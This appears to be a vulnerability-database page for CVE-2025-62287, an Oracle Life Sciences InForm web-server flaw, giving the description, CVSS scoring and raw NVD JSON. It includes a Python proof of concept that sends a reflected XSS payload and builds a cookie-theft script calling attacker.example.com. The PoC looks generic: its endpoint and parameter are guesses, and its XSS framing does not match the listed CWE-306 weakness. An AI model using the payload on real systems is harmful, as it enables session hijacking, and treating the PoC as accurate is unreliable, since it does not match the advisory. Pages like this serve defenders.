Security Vulnerability Report
中文
CVE-2025-62287 CVSS 6.1 MEDIUM

CVE-2025-62287

Published: 2025-10-21 20:20:54
Last Modified: 2025-10-24 13:19:55

Description

Vulnerability in the Oracle Life Sciences InForm product of Oracle Health Sciences Applications (component: Web Server). The supported version that is affected is 7.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences InForm. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Life Sciences InForm, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences InForm accessible data as well as unauthorized read access to a subset of Oracle Life Sciences InForm accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:life_sciences_inform:7.0.1.0:*:*:*:*:*:*:* - VULNERABLE
Oracle Life Sciences InForm 7.0.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62287 - Oracle Life Sciences InForm Web Server XSS PoC # This PoC demonstrates a reflected XSS attack against Oracle Life Sciences InForm 7.0.1.0 # Note: This is for educational/research purposes only import requests import urllib.parse TARGET_URL = "https://target-inform-server.example.com" # Typical vulnerable parameter in Oracle InForm web interface VULNERABLE_ENDPOINT = "/inform/" def generate_xss_payload(): """Generate a basic XSS payload for reflected XSS testing""" payload = '<script>alert("XSS-CVE-2025-62287")</script>' return payload def test_reflected_xss(target_url, endpoint, param_name="search"): """Test for reflected XSS vulnerability""" payload = generate_xss_payload() encoded_payload = urllib.parse.quote(payload) # Construct the malicious URL malicious_url = f"{target_url}{endpoint}?{param_name}={encoded_payload}" print(f"[*] Malicious URL: {malicious_url}") # Send request to verify reflection try: response = requests.get(malicious_url, verify=False, timeout=10) if payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") return True else: print("[-] Payload not reflected. Endpoint may not be vulnerable.") return False except Exception as e: print(f"[-] Error: {e}") return False def exploit_session_hijack(target_url, endpoint): """Demonstrate session cookie stealing via XSS""" attacker_server = "https://attacker.example.com/collect" payload = f'<script>fetch("{attacker_server}?cookie="+document.cookie)</script>' encoded = urllib.parse.quote(payload) exploit_url = f"{target_url}{endpoint}?search={encoded}" print(f"[*] Session hijacking payload URL: {exploit_url}") return exploit_url if __name__ == "__main__": print("=" * 60) print("CVE-2025-62287 PoC - Oracle Life Sciences InForm XSS") print("=" * 60) test_reflected_xss(TARGET_URL, VULNERABLE_ENDPOINT) exploit_session_hijack(TARGET_URL, VULNERABLE_ENDPOINT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62287", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:53.650", "lastModified": "2025-10-24T13:19:55.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Life Sciences InForm product of Oracle Health Sciences Applications (component: Web Server). The supported version that is affected is 7.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences InForm. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Life Sciences InForm, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences InForm accessible data as well as unauthorized read access to a subset of Oracle Life Sciences InForm accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:life_sciences_inform:7.0.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "6A1A0C83-890A-4761-93FB-4CBC1A06D14D"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}